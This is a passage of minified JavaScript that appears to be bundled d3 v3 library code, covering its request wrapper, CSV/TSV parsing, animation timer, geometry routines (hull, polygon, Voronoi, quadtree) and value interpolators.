Kt=(Kt+"").toLowerCase(),arguments.length<2?Mt[Kt]:(wr==null?delete Mt[Kt]:Mt[Kt]=wr+"",je)},je.mimeType=function(Kt){return arguments.length?(Ae=Kt==null?null:Kt+"",je):Ae},je.responseType=function(Kt){return arguments.length?(kt=Kt,je):kt},je.response=function(Kt){return ze=Kt,je},["get","post"].forEach(function(Kt){je[Kt]=function(){return je.send.apply(je,[Kt].concat(S(arguments)))}}),je.send=function(Kt,wr,xr){if(arguments.length===2&&typeof wr=="function"&&(xr=wr,wr=null),it.open(Kt,se,!0),Ae!=null&&!("accept"in Mt)&&(Mt.accept=Ae+",*/*"),it.setRequestHeader)for(var Gr in Mt)it.setRequestHeader(Gr,Mt[Gr]);return Ae!=null&&it.overrideMimeType&&it.overrideMimeType(Ae),kt!=null&&(it.responseType=kt),xr!=null&&je.on("error",xr).on("load",function(jr){xr(null,jr)}),qe.beforesend.call(je,it),it.send(wr??null),je},je.abort=function(){return it.abort(),je},o.rebind(je,qe,"on"),Ye==null?je:je.get(nr(Ye))}function nr(se){return se.length===1?function(Ae,ze){se(Ae==null?ze:null)}:se}function Sr(se){var Ae=se.responseType;return Ae&&Ae!=="text"?se.response:se.responseText}o.dsv=function(se,Ae){var ze=new RegExp('["'+se+`
]`),Ye=se.charCodeAt(0);function je(jt,Kt,wr){arguments.length<3&&(wr=Kt,Kt=null);var xr=Sn(jt,Ae,Kt==null?qe:Mt(Kt),wr);return xr.row=function(Gr){return arguments.length?xr.response((Kt=Gr)==null?qe:Mt(Gr)):Kt},xr}function qe(jt){return je.parse(jt.responseText)}function Mt(jt){return function(Kt){return je.parse(Kt.responseText,jt)}}je.parse=function(jt,Kt){var wr;return je.parseRows(jt,function(xr,Gr){if(wr)return wr(xr,Gr-1);var jr=function(Mr){for(var _r={},Hr=xr.length,Kr=0;Kr<Hr;++Kr)_r[xr[Kr]]=Mr[Kr];return _r};wr=Kt?function(Mr,_r){return Kt(jr(Mr),_r)}:jr})},je.parseRows=function(jt,Kt){var wr={},xr={},Gr=[],jr=jt.length,Mr=0,_r=0,Hr,Kr;function rn(){if(Mr>=jr)return xr;if(Kr)return Kr=!1,wr;var Dn=Mr;if(jt.charCodeAt(Dn)===34){for(var Fn=Dn;Fn++<jr;)if(jt.charCodeAt(Fn)===34){if(jt.charCodeAt(Fn+1)!==34)break;++Fn}Mr=Fn+2;var Vn=jt.charCodeAt(Fn+1);return Vn===13?(Kr=!0,jt.charCodeAt(Fn+2)===10&&++Mr):Vn===10&&(Kr=!0),jt.slice(Dn+1,Fn).replace(/""/g,'"')}for(;Mr<jr;){var Vn=jt.charCodeAt(Mr++),Kn=1;if(Vn===10)Kr=!0;else if(Vn===13)Kr=!0,jt.charCodeAt(Mr)===10&&(++Mr,++Kn);else if(Vn!==Ye)continue;return jt.slice(Dn,Mr-Kn)}return jt.slice(Dn)}for(;(Hr=rn())!==xr;){for(var Vr=[];Hr!==wr&&Hr!==xr;)Vr.push(Hr),Hr=rn();Kt&&(Vr=Kt(Vr,_r++))==null||Gr.push(Vr)}return Gr},je.format=function(jt){if(Array.isArray(jt[0]))return je.formatRows(jt);var Kt=new _,wr=[];return jt.forEach(function(xr){for(var Gr in xr)Kt.has(Gr)||wr.push(Kt.add(Gr))}),[wr.map(kt).join(se)].concat(jt.map(function(xr){return wr.map(function(Gr){return kt(xr[Gr])}).join(se)})).join(`
`)},je.formatRows=function(jt){return jt.map(it).join(`
`)};function it(jt){return jt.map(kt).join(se)}function kt(jt){return ze.test(jt)?'"'+jt.replace(/\"/g,'""')+'"':jt}return je},o.csv=o.dsv(",","text/csv"),o.tsv=o.dsv("	","text/tab-separated-values");var Dr,Ir,Xr,an,tn=this[z(this,"requestAnimationFrame")]||function(se){setTimeout(se,17)};o.timer=function(){gn.apply(this,arguments)};function gn(se,Ae,ze){var Ye=arguments.length;Ye<2&&(Ae=0),Ye<3&&(ze=Date.now());var je=ze+Ae,qe={c:se,t:je,n:null};return Ir?Ir.n=qe:Dr=qe,Ir=qe,Xr||(an=clearTimeout(an),Xr=1,tn(En)),qe}function En(){var se=Hn(),Ae=Xn()-se;Ae>24?(isFinite(Ae)&&(clearTimeout(an),an=setTimeout(En,Ae)),Xr=0):(Xr=1,tn(En))}o.timer.flush=function(){Hn(),Xn()};function Hn(){for(var se=Date.now(),Ae=Dr;Ae;)se>=Ae.t&&Ae.c(se-Ae.t)&&(Ae.c=null),Ae=Ae.n;return se}function Xn(){for(var se,Ae=Dr,ze=1/0;Ae;)Ae.c?(Ae.t<ze&&(ze=Ae.t),Ae=(se=Ae).n):Ae=se?se.n=Ae.n:Dr=Ae.n;return Ir=se,ze}o.round=function(se,Ae){return Ae?Math.round(se*(Ae=Math.pow(10,Ae)))/Ae:Math.round(se)},o.geom={};function qn(se){return se[0]}function Wn(se){return se[1]}o.geom.hull=function(se){var Ae=qn,ze=Wn;if(arguments.length)return Ye(se);function Ye(je){if(je.length<3)return[];var qe=Ur(Ae),Mt=Ur(ze),it,kt=je.length,jt=[],Kt=[];for(it=0;it<kt;it++)jt.push([+qe.call(this,je[it],it),+Mt.call(this,je[it],it),it]);for(jt.sort(mr),it=0;it<kt;it++)Kt.push([jt[it][0],-jt[it][1]]);var wr=ea(jt),xr=ea(Kt),Gr=xr[0]===wr[0],jr=xr[xr.length-1]===wr[wr.length-1],Mr=[];for(it=wr.length-1;it>=0;--it)Mr.push(je[jt[wr[it]][2]]);for(it=+Gr;it<xr.length-jr;++it)Mr.push(je[jt[xr[it]][2]]);return Mr}return Ye.x=function(je){return arguments.length?(Ae=je,Ye):Ae},Ye.y=function(je){return arguments.length?(ze=je,Ye):ze},Ye};function ea(se){for(var Ae=se.length,ze=[0,1],Ye=2,je=2;je<Ae;je++){for(;Ye>1&&_t(se[ze[Ye-2]],se[ze[Ye-1]],se[je])<=0;)--Ye;ze[Ye++]=je}return ze.slice(0,Ye)}function mr(se,Ae){return se[0]-Ae[0]||se[1]-Ae[1]}o.geom.polygon=function(se){return V(se,qr),se};var qr=o.geom.polygon.prototype=[];qr.area=function(){for(var se=-1,Ae=this.length,ze,Ye=this[Ae-1],je=0;++se<Ae;)ze=Ye,Ye=this[se],je+=ze[1]*Ye[0]-ze[0]*Ye[1];return je*.5},qr.centroid=function(se){var Ae=-1,ze=this.length,Ye=0,je=0,qe,Mt=this[ze-1],it;for(arguments.length||(se=-1/(6*this.area()));++Ae<ze;)qe=Mt,Mt=this[Ae],it=qe[0]*Mt[1]-Mt[0]*qe[1],Ye+=(qe[0]+Mt[0])*it,je+=(qe[1]+Mt[1])*it;return[Ye*se,je*se]},qr.clip=function(se){for(var Ae,ze=kn(se),Ye=-1,je=this.length-kn(this),qe,Mt,it=this[je-1],kt,jt,Kt;++Ye<je;){for(Ae=se.slice(),se.length=0,kt=this[Ye],jt=Ae[(Mt=Ae.length-ze)-1],qe=-1;++qe<Mt;)Kt=Ae[qe],Qr(Kt,it,kt)?(Qr(jt,it,kt)||se.push(un(jt,Kt,it,kt)),se.push(Kt)):Qr(jt,it,kt)&&se.push(un(jt,Kt,it,kt)),jt=Kt;ze&&se.push(se[0]),it=kt}return se};function Qr(se,Ae,ze){return(ze[0]-Ae[0])*(se[1]-Ae[1])<(ze[1]-Ae[1])*(se[0]-Ae[0])}function un(se,Ae,ze,Ye){var je=se[0],qe=ze[0],Mt=Ae[0]-je,it=Ye[0]-qe,kt=se[1],jt=ze[1],Kt=Ae[1]-kt,wr=Ye[1]-jt,xr=(it*(kt-jt)-wr*(je-qe))/(wr*Mt-it*Kt);return[je+xr*Mt,kt+xr*Kt]}function kn(se){var Ae=se[0],ze=se[se.length-1];return!(Ae[0]-ze[0]||Ae[1]-ze[1])}var bn,wn,zn,Jn=[],ba,Fa,Ht=[];function pr(){Xi(this),this.edge=this.site=this.circle=null}function $r(se){var Ae=Jn.pop()||new pr;return Ae.site=se,Ae}function on(se){On(se),zn.remove(se),Jn.push(se),Xi(se)}function sn(se){var Ae=se.circle,ze=Ae.x,Ye=Ae.cy,je={x:ze,y:Ye},qe=se.P,Mt=se.N,it=[se];on(se);for(var kt=qe;kt.circle&&v(ze-kt.circle.x)<ae&&v(Ye-kt.circle.cy)<ae;)qe=kt.P,it.unshift(kt),on(kt),kt=qe;it.unshift(kt),On(kt);for(var jt=Mt;jt.circle&&v(ze-jt.circle.x)<ae&&v(Ye-jt.circle.cy)<ae;)Mt=jt.N,it.push(jt),on(jt),jt=Mt;it.push(jt),On(jt);var Kt=it.length,wr;for(wr=1;wr<Kt;++wr)jt=it[wr],kt=it[wr-1],oa(jt.edge,kt.site,jt.site,je);kt=it[0],jt=it[Kt-1],jt.edge=Qn(kt.site,jt.site,null,je),Ln(kt),Ln(jt)}function Tn(se){for(var Ae=se.x,ze=se.y,Ye,je,qe,Mt,it=zn._;it;)if(qe=pn(it,ze)-Ae,qe>ae)it=it.L;else if(Mt=Ae-nn(it,ze),Mt>ae){if(!it.R){Ye=it;break}it=it.R}else{qe>-ae?(Ye=it.P,je=it):Mt>-ae?(Ye=it,je=it.N):Ye=je=it;break}var kt=$r(se);if(zn.insert(Ye,kt),!(!Ye&&!je)){if(Ye===je){On(Ye),je=$r(Ye.site),zn.insert(kt,je),kt.edge=je.edge=Qn(Ye.site,kt.site),Ln(Ye),Ln(je);return}if(!je){kt.edge=Qn(Ye.site,kt.site);return}On(Ye),On(je);var jt=Ye.site,Kt=jt.x,wr=jt.y,xr=se.x-Kt,Gr=se.y-wr,jr=je.site,Mr=jr.x-Kt,_r=jr.y-wr,Hr=2*(xr*_r-Gr*Mr),Kr=xr*xr+Gr*Gr,rn=Mr*Mr+_r*_r,Vr={x:(_r*Kr-Gr*rn)/Hr+Kt,y:(xr*rn-Mr*Kr)/Hr+wr};oa(je.edge,jt,jr,Vr),kt.edge=Qn(jt,se,null,Vr),je.edge=Qn(se,jr,null,Vr),Ln(Ye),Ln(je)}}function pn(se,Ae){var ze=se.site,Ye=ze.x,je=ze.y,qe=je-Ae;if(!qe)return Ye;var Mt=se.P;if(!Mt)return-1/0;ze=Mt.site;var it=ze.x,kt=ze.y,jt=kt-Ae;if(!jt)return it;var Kt=it-Ye,wr=1/qe-1/jt,xr=Kt/jt;return wr?(-xr+Math.sqrt(xr*xr-2*wr*(Kt*Kt/(-2*jt)-kt+jt/2+je-qe/2)))/wr+Ye:(Ye+it)/2}function nn(se,Ae){var ze=se.N;if(ze)return pn(ze,Ae);var Ye=se.site;return Ye.y===Ae?Ye.x:1/0}function Ar(se){this.site=se,this.edges=[]}Ar.prototype.prepare=function(){for(var se=this.edges,Ae=se.length,ze;Ae--;)ze=se[Ae].edge,(!ze.b||!ze.a)&&se.splice(Ae,1);return se.sort(Lr),se.length};function br(se){for(var Ae=se[0][0],ze=se[1][0],Ye=se[0][1],je=se[1][1],qe,Mt,it,kt,jt=wn,Kt=jt.length,wr,xr,Gr,jr,Mr,_r;Kt--;)if(wr=jt[Kt],!(!wr||!wr.prepare()))for(Gr=wr.edges,jr=Gr.length,xr=0;xr<jr;)_r=Gr[xr].end(),it=_r.x,kt=_r.y,Mr=Gr[++xr%jr].start(),qe=Mr.x,Mt=Mr.y,(v(it-qe)>ae||v(kt-Mt)>ae)&&(Gr.splice(xr,0,new Di($n(wr.site,_r,v(it-Ae)<ae&&je-kt>ae?{x:Ae,y:v(qe-Ae)<ae?Mt:je}:v(kt-je)<ae&&ze-it>ae?{x:v(Mt-je)<ae?qe:ze,y:je}:v(it-ze)<ae&&kt-Ye>ae?{x:ze,y:v(qe-ze)<ae?Mt:Ye}:v(kt-Ye)<ae&&it-Ae>ae?{x:v(Mt-Ye)<ae?qe:Ae,y:Ye}:null),wr.site,null)),++jr)}function Lr(se,Ae){return Ae.angle-se.angle}function ln(){Xi(this),this.x=this.y=this.arc=this.site=this.cy=null}function Ln(se){var Ae=se.P,ze=se.N;if(!(!Ae||!ze)){var Ye=Ae.site,je=se.site,qe=ze.site;if(Ye!==qe){var Mt=je.x,it=je.y,kt=Ye.x-Mt,jt=Ye.y-it,Kt=qe.x-Mt,_r=qe.y-it,wr=2*(kt*_r-jt*Kt);if(!(wr>=-de)){var xr=kt*kt+jt*jt,Gr=Kt*Kt+_r*_r,jr=(_r*xr-jt*Gr)/wr,Mr=(kt*Gr-Kt*xr)/wr,_r=Mr+it,Hr=Ht.pop()||new ln;Hr.arc=se,Hr.site=je,Hr.x=jr+Mt,Hr.y=_r+Math.sqrt(jr*jr+Mr*Mr),Hr.cy=_r,se.circle=Hr;for(var Kr=null,rn=Fa._;rn;)if(Hr.y<rn.y||Hr.y===rn.y&&Hr.x<=rn.x)if(rn.L)rn=rn.L;else{Kr=rn.P;break}else if(rn.R)rn=rn.R;else{Kr=rn;break}Fa.insert(Kr,Hr),Kr||(ba=Hr)}}}}function On(se){var Ae=se.circle;Ae&&(Ae.P||(ba=Ae.N),Fa.remove(Ae),Ht.push(Ae),Xi(Ae),se.circle=null)}function fn(se,Ae,ze,Ye){return function(je){var qe=je.a,Mt=je.b,it=qe.x,kt=qe.y,jt=Mt.x,Kt=Mt.y,wr=0,xr=1,Gr=jt-it,jr=Kt-kt,Mr;if(Mr=se-it,!(!Gr&&Mr>0)){if(Mr/=Gr,Gr<0){if(Mr<wr)return;Mr<xr&&(xr=Mr)}else if(Gr>0){if(Mr>xr)return;Mr>wr&&(wr=Mr)}if(Mr=ze-it,!(!Gr&&Mr<0)){if(Mr/=Gr,Gr<0){if(Mr>xr)return;Mr>wr&&(wr=Mr)}else if(Gr>0){if(Mr<wr)return;Mr<xr&&(xr=Mr)}if(Mr=Ae-kt,!(!jr&&Mr>0)){if(Mr/=jr,jr<0){if(Mr<wr)return;Mr<xr&&(xr=Mr)}else if(jr>0){if(Mr>xr)return;Mr>wr&&(wr=Mr)}if(Mr=Ye-kt,!(!jr&&Mr<0)){if(Mr/=jr,jr<0){if(Mr>xr)return;Mr>wr&&(wr=Mr)}else if(jr>0){if(Mr<wr)return;Mr<xr&&(xr=Mr)}return wr>0&&(je.a={x:it+wr*Gr,y:kt+wr*jr}),xr<1&&(je.b={x:it+xr*Gr,y:kt+xr*jr}),je}}}}}}function Rn(se){for(var Ae=bn,ze=fn(se[0][0],se[0][1],se[1][0],se[1][1]),Ye=Ae.length,je;Ye--;)je=Ae[Ye],(!Zn(je,se)||!ze(je)||v(je.a.x-je.b.x)<ae&&v(je.a.y-je.b.y)<ae)&&(je.a=je.b=null,Ae.splice(Ye,1))}function Zn(se,Ae){var ze=se.b;if(ze)return!0;var Ye=se.a,je=Ae[0][0],qe=Ae[1][0],Mt=Ae[0][1],it=Ae[1][1],kt=se.l,jt=se.r,Kt=kt.x,wr=kt.y,xr=jt.x,Gr=jt.y,jr=(Kt+xr)/2,Mr=(wr+Gr)/2,_r,Hr;if(Gr===wr){if(jr<je||jr>=qe)return;if(Kt>xr){if(!Ye)Ye={x:jr,y:Mt};else if(Ye.y>=it)return;ze={x:jr,y:it}}else{if(!Ye)Ye={x:jr,y:it};else if(Ye.y<Mt)return;ze={x:jr,y:Mt}}}else if(_r=(Kt-xr)/(Gr-wr),Hr=Mr-_r*jr,_r<-1||_r>1)if(Kt>xr){if(!Ye)Ye={x:(Mt-Hr)/_r,y:Mt};else if(Ye.y>=it)return;ze={x:(it-Hr)/_r,y:it}}else{if(!Ye)Ye={x:(it-Hr)/_r,y:it};else if(Ye.y<Mt)return;ze={x:(Mt-Hr)/_r,y:Mt}}else if(wr<Gr){if(!Ye)Ye={x:je,y:_r*je+Hr};else if(Ye.x>=qe)return;ze={x:qe,y:_r*qe+Hr}}else{if(!Ye)Ye={x:qe,y:_r*qe+Hr};else if(Ye.x<je)return;ze={x:je,y:_r*je+Hr}}return se.a=Ye,se.b=ze,!0}function ta(se,Ae){this.l=se,this.r=Ae,this.a=this.b=null}function Qn(se,Ae,ze,Ye){var je=new ta(se,Ae);return bn.push(je),ze&&oa(je,se,Ae,ze),Ye&&oa(je,Ae,se,Ye),wn[se.i].edges.push(new Di(je,se,Ae)),wn[Ae.i].edges.push(new Di(je,Ae,se)),je}function $n(se,Ae,ze){var Ye=new ta(se,null);return Ye.a=Ae,Ye.b=ze,bn.push(Ye),Ye}function oa(se,Ae,ze,Ye){!se.a&&!se.b?(se.a=Ye,se.l=Ae,se.r=ze):se.l===ze?se.b=Ye:se.a=Ye}function Di(se,Ae,ze){var Ye=se.a,je=se.b;this.edge=se,this.site=Ae,this.angle=ze?Math.atan2(ze.y-Ae.y,ze.x-Ae.x):se.l===Ae?Math.atan2(je.x-Ye.x,Ye.y-je.y):Math.atan2(Ye.x-je.x,je.y-Ye.y)}Di.prototype={start:function(){return this.edge.l===this.site?this.edge.a:this.edge.b},end:function(){return this.edge.l===this.site?this.edge.b:this.edge.a}};function Gi(){this._=null}function Xi(se){se.U=se.C=se.L=se.R=se.P=se.N=null}Gi.prototype={insert:function(se,Ae){var ze,Ye,je;if(se){if(Ae.P=se,Ae.N=se.N,se.N&&(se.N.P=Ae),se.N=Ae,se.R){for(se=se.R;se.L;)se=se.L;se.L=Ae}else se.R=Ae;ze=se}else this._?(se=Gl(this._),Ae.P=null,Ae.N=se,se.P=se.L=Ae,ze=se):(Ae.P=Ae.N=null,this._=Ae,ze=null);for(Ae.L=Ae.R=null,Ae.U=ze,Ae.C=!0,se=Ae;ze&&ze.C;)Ye=ze.U,ze===Ye.L?(je=Ye.R,je&&je.C?(ze.C=je.C=!1,Ye.C=!0,se=Ye):(se===ze.R&&(qi(this,ze),se=ze,ze=se.U),ze.C=!1,Ye.C=!0,ji(this,Ye))):(je=Ye.L,je&&je.C?(ze.C=je.C=!1,Ye.C=!0,se=Ye):(se===ze.L&&(ji(this,ze),se=ze,ze=se.U),ze.C=!1,Ye.C=!0,qi(this,Ye))),ze=se.U;this._.C=!1},remove:function(se){se.N&&(se.N.P=se.P),se.P&&(se.P.N=se.N),se.N=se.P=null;var Ae=se.U,ze,Ye=se.L,je=se.R,qe,Mt;if(Ye?je?qe=Gl(je):qe=Ye:qe=je,Ae?Ae.L===se?Ae.L=qe:Ae.R=qe:this._=qe,Ye&&je?(Mt=qe.C,qe.C=se.C,qe.L=Ye,Ye.U=qe,qe!==je?(Ae=qe.U,qe.U=se.U,se=qe.R,Ae.L=se,qe.R=je,je.U=qe):(qe.U=Ae,Ae=qe,se=qe.R)):(Mt=se.C,se=qe),se&&(se.U=Ae),!Mt){if(se&&se.C){se.C=!1;return}do{if(se===this._)break;if(se===Ae.L){if(ze=Ae.R,ze.C&&(ze.C=!1,Ae.C=!0,qi(this,Ae),ze=Ae.R),ze.L&&ze.L.C||ze.R&&ze.R.C){(!ze.R||!ze.R.C)&&(ze.L.C=!1,ze.C=!0,ji(this,ze),ze=Ae.R),ze.C=Ae.C,Ae.C=ze.R.C=!1,qi(this,Ae),se=this._;break}}else if(ze=Ae.L,ze.C&&(ze.C=!1,Ae.C=!0,ji(this,Ae),ze=Ae.L),ze.L&&ze.L.C||ze.R&&ze.R.C){(!ze.L||!ze.L.C)&&(ze.R.C=!1,ze.C=!0,qi(this,ze),ze=Ae.L),ze.C=Ae.C,Ae.C=ze.L.C=!1,ji(this,Ae),se=this._;break}ze.C=!0,se=Ae,Ae=Ae.U}while(!se.C);se&&(se.C=!1)}}};function qi(se,Ae){var ze=Ae,Ye=Ae.R,je=ze.U;je?je.L===ze?je.L=Ye:je.R=Ye:se._=Ye,Ye.U=je,ze.U=Ye,ze.R=Ye.L,ze.R&&(ze.R.U=ze),Ye.L=ze}function ji(se,Ae){var ze=Ae,Ye=Ae.L,je=ze.U;je?je.L===ze?je.L=Ye:je.R=Ye:se._=Ye,Ye.U=je,ze.U=Ye,ze.L=Ye.R,ze.L&&(ze.L.U=ze),Ye.R=ze}function Gl(se){for(;se.L;)se=se.L;return se}function Ga(se,Ae){var ze=se.sort(js).pop(),Ye,je,qe;for(bn=[],wn=new Array(se.length),zn=new Gi,Fa=new Gi;;)if(qe=ba,ze&&(!qe||ze.y<qe.y||ze.y===qe.y&&ze.x<qe.x))(ze.x!==Ye||ze.y!==je)&&(wn[ze.i]=new Ar(ze),Tn(ze),Ye=ze.x,je=ze.y),ze=se.pop();else if(qe)sn(qe.arc);else break;Ae&&(Rn(Ae),br(Ae));var Mt={cells:wn,edges:bn};return zn=Fa=bn=wn=null,Mt}function js(se,Ae){return Ae.y-se.y||Ae.x-se.x}o.geom.voronoi=function(se){var Ae=qn,ze=Wn,Ye=Ae,je=ze,qe=Rs;if(se)return Mt(se);function Mt(kt){var jt=new Array(kt.length),Kt=qe[0][0],wr=qe[0][1],xr=qe[1][0],Gr=qe[1][1];return Ga(it(kt),qe).cells.forEach(function(jr,Mr){var _r=jr.edges,Hr=jr.site,Kr=jt[Mr]=_r.length?_r.map(function(rn){var Vr=rn.start();return[Vr.x,Vr.y]}):Hr.x>=Kt&&Hr.x<=xr&&Hr.y>=wr&&Hr.y<=Gr?[[Kt,Gr],[xr,Gr],[xr,wr],[Kt,wr]]:[];Kr.point=kt[Mr]}),jt}function it(kt){return kt.map(function(jt,Kt){return{x:Math.round(Ye(jt,Kt)/ae)*ae,y:Math.round(je(jt,Kt)/ae)*ae,i:Kt}})}return Mt.links=function(kt){return Ga(it(kt)).edges.filter(function(jt){return jt.l&&jt.r}).map(function(jt){return{source:kt[jt.l.i],target:kt[jt.r.i]}})},Mt.triangles=function(kt){var jt=[];return Ga(it(kt)).cells.forEach(function(Kt,wr){for(var xr=Kt.site,Gr=Kt.edges.sort(Lr),jr=-1,Mr=Gr.length,_r,Hr=Gr[Mr-1].edge,Kr=Hr.l===xr?Hr.r:Hr.l;++jr<Mr;)_r=Kr,Hr=Gr[jr].edge,Kr=Hr.l===xr?Hr.r:Hr.l,wr<_r.i&&wr<Kr.i&&Ii(xr,_r,Kr)<0&&jt.push([kt[wr],kt[_r.i],kt[Kr.i]])}),jt},Mt.x=function(kt){return arguments.length?(Ye=Ur(Ae=kt),Mt):Ae},Mt.y=function(kt){return arguments.length?(je=Ur(ze=kt),Mt):ze},Mt.clipExtent=function(kt){return arguments.length?(qe=kt??Rs,Mt):qe===Rs?null:qe},Mt.size=function(kt){return arguments.length?Mt.clipExtent(kt&&[[0,0],kt]):qe===Rs?null:qe&&qe[1]},Mt};var Rs=[[-1e6,-1e6],[1e6,1e6]];function Ii(se,Ae,ze){return(se.x-ze.x)*(Ae.y-se.y)-(se.x-Ae.x)*(ze.y-se.y)}o.geom.delaunay=function(se){return o.geom.voronoi().triangles(se)},o.geom.quadtree=function(se,Ae,ze,Ye,je){var qe=qn,Mt=Wn,it;if(it=arguments.length)return qe=eo,Mt=bu,it===3&&(je=ze,Ye=Ae,ze=Ae=0),kt(se);function kt(jt){var Kt,wr=Ur(qe),xr=Ur(Mt),Gr,jr,Mr,_r,Hr,Kr,rn,Vr;if(Ae!=null)Hr=Ae,Kr=ze,rn=Ye,Vr=je;else if(rn=Vr=-(Hr=Kr=1/0),Gr=[],jr=[],_r=jt.length,it)for(Mr=0;Mr<_r;++Mr)Kt=jt[Mr],Kt.x<Hr&&(Hr=Kt.x),Kt.y<Kr&&(Kr=Kt.y),Kt.x>rn&&(rn=Kt.x),Kt.y>Vr&&(Vr=Kt.y),Gr.push(Kt.x),jr.push(Kt.y);else for(Mr=0;Mr<_r;++Mr){var Dn=+wr(Kt=jt[Mr],Mr),Fn=+xr(Kt,Mr);Dn<Hr&&(Hr=Dn),Fn<Kr&&(Kr=Fn),Dn>rn&&(rn=Dn),Fn>Vr&&(Vr=Fn),Gr.push(Dn),jr.push(Fn)}var Vn=rn-Hr,Kn=Vr-Kr;Vn>Kn?Vr=Kr+Vn:rn=Hr+Kn;function ca(ya,Ca,Ua,Wa,$a,In,La,Sa){if(!(isNaN(Ua)||isNaN(Wa)))if(ya.leaf){var za=ya.x,ci=ya.y;if(za!=null)if(v(za-Ua)+v(ci-Wa)<.01)fa(ya,Ca,Ua,Wa,$a,In,La,Sa);else{var bi=ya.point;ya.x=ya.y=ya.point=null,fa(ya,bi,za,ci,$a,In,La,Sa),fa(ya,Ca,Ua,Wa,$a,In,La,Sa)}else ya.x=Ua,ya.y=Wa,ya.point=Ca}else fa(ya,Ca,Ua,Wa,$a,In,La,Sa)}function fa(ya,Ca,Ua,Wa,$a,In,La,Sa){var za=($a+La)*.5,ci=(In+Sa)*.5,bi=Ua>=za,Si=Wa>=ci,si=Si<<1|bi;ya.leaf=!1,ya=ya.nodes[si]||(ya.nodes[si]=Ks()),bi?$a=za:La=za,Si?In=ci:Sa=ci,ca(ya,Ca,Ua,Wa,$a,In,La,Sa)}var Ra=Ks();if(Ra.add=function(ya){ca(Ra,ya,+wr(ya,++Mr),+xr(ya,Mr),Hr,Kr,rn,Vr)},Ra.visit=function(ya){gi(ya,Ra,Hr,Kr,rn,Vr)},Ra.find=function(ya){return Js(Ra,ya[0],ya[1],Hr,Kr,rn,Vr)},Mr=-1,Ae==null){for(;++Mr<_r;)ca(Ra,jt[Mr],Gr[Mr],jr[Mr],Hr,Kr,rn,Vr);--Mr}else jt.forEach(Ra.add);return Gr=jr=jt=Kt=null,Ra}return kt.x=function(jt){return arguments.length?(qe=jt,kt):qe},kt.y=function(jt){return arguments.length?(Mt=jt,kt):Mt},kt.extent=function(jt){return arguments.length?(jt==null?Ae=ze=Ye=je=null:(Ae=+jt[0][0],ze=+jt[0][1],Ye=+jt[1][0],je=+jt[1][1]),kt):Ae==null?null:[[Ae,ze],[Ye,je]]},kt.size=function(jt){return arguments.length?(jt==null?Ae=ze=Ye=je=null:(Ae=ze=0,Ye=+jt[0],je=+jt[1]),kt):Ae==null?null:[Ye-Ae,je-ze]},kt};function eo(se){return se.x}function bu(se){return se.y}function Ks(){return{leaf:!0,nodes:[],point:null,x:null,y:null}}function gi(se,Ae,ze,Ye,je,qe){if(!se(Ae,ze,Ye,je,qe)){var Mt=(ze+je)*.5,it=(Ye+qe)*.5,kt=Ae.nodes;kt[0]&&gi(se,kt[0],ze,Ye,Mt,it),kt[1]&&gi(se,kt[1],Mt,Ye,je,it),kt[2]&&gi(se,kt[2],ze,it,Mt,qe),kt[3]&&gi(se,kt[3],Mt,it,je,qe)}}function Js(se,Ae,ze,Ye,je,qe,Mt){var it=1/0,kt;return function jt(Kt,wr,xr,Gr,jr){if(!(wr>qe||xr>Mt||Gr<Ye||jr<je)){if(Mr=Kt.point){var Mr,_r=Ae-Kt.x,Hr=ze-Kt.y,Kr=_r*_r+Hr*Hr;if(Kr<it){var rn=Math.sqrt(it=Kr);Ye=Ae-rn,je=ze-rn,qe=Ae+rn,Mt=ze+rn,kt=Mr}}for(var Vr=Kt.nodes,Dn=(wr+Gr)*.5,Fn=(xr+jr)*.5,Vn=Ae>=Dn,Kn=ze>=Fn,ca=Kn<<1|Vn,fa=ca+4;ca<fa;++ca)if(Kt=Vr[ca&3])switch(ca&3){case 0:jt(Kt,wr,xr,Dn,Fn);break;case 1:jt(Kt,Dn,xr,Gr,Fn);break;case 2:jt(Kt,wr,Fn,Dn,jr);break;case 3:jt(Kt,Dn,Fn,Gr,jr);break}}}(se,Ye,je,qe,Mt),kt}o.interpolateRgb=oo;function oo(se,Ae){se=o.rgb(se),Ae=o.rgb(Ae);var ze=se.r,Ye=se.g,je=se.b,qe=Ae.r-ze,Mt=Ae.g-Ye,it=Ae.b-je;return function(kt){return"#"+ur(Math.round(ze+qe*kt))+ur(Math.round(Ye+Mt*kt))+ur(Math.round(je+it*kt))}}o.interpolateObject=Li;function Li(se,Ae){var ze={},Ye={},je;for(je in se)je in Ae?ze[je]=Go(se[je],Ae[je]):Ye[je]=se[je];for(je in Ae)je in se||(Ye[je]=Ae[je]);return function(qe){for(je in ze)Ye[je]=ze[je](qe);return Ye}}o.interpolateNumber=so;function so(se,Ae){return se=+se,Ae=+Ae,function(ze){return se*(1-ze)+Ae*ze}}o.interpolateString=Wi;function Wi(se,Ae){var ze=ho.lastIndex=Ro.lastIndex=0,Ye,je,qe,Mt=-1,it=[],kt=[];for(se=se+"",Ae=Ae+"";(Ye=ho.exec(se))&&(je=Ro.exec(Ae));)(qe=je.index)>ze&&(qe=Ae.slice(ze,qe),it[Mt]?it[Mt]+=qe:it[++Mt]=qe),(Ye=Ye[0])===(je=je[0])?it[Mt]?it[Mt]+=je:it[++Mt]=je:(it[++Mt]=null,kt.push({i:Mt,x:so(Ye,je)})),ze=Ro.lastIndex;return ze<Ae.length&&(qe=Ae.slice(ze),it[Mt]?it[Mt]+=qe:it[++Mt]=qe),it.length<2?kt[0]?(Ae=kt[0].x,function(jt){return Ae(jt)+""}):function(){return Ae}:(Ae=kt.length,function(jt){for(var Kt=0,wr;Kt<Ae;++Kt)it[(wr=kt[Kt]).i]=wr.x(jt);return it.join("")})}var ho=/[-+]?(?:\d+\.?\d*|\.?\d+)(?:[eE][-+]?\d+)?/g,Ro=new RegExp(ho.source,"g");o.interpolate=Go;function Go(se,Ae){for(var ze=o.interpolators.length,Ye;--ze>=0&&!(Ye=o.interpolators[ze](se,Ae)););return Ye}o.interpolators=[function(se,Ae){var ze=typeof Ae;return(ze==="string"?vn.has(Ae.toLowerCase())||/^(#|rgb\(|hsl\()/i.test(Ae)?oo:Wi:Ae instanceof nt?oo:Array.isArray(Ae)?zi:ze==="object"&&isNaN(Ae)?Li:so)(se,Ae)}],o.interpolateArray=zi;function zi(se,Ae){var ze=[],Ye=[],je=se.length,qe=Ae.length,Mt=Math.min(se.length,Ae.length),it;for(it=0;it<Mt;++it)ze.push(Go(se[it],Ae[it]));for(;it<je;++it)Ye[it]=se[it];for(;it<qe;++it)Ye[it]=Ae[it];return function(kt){for(it=0;it<Mt;++it)Ye[it]=ze[it](kt);return Ye}}var wu=function(){return 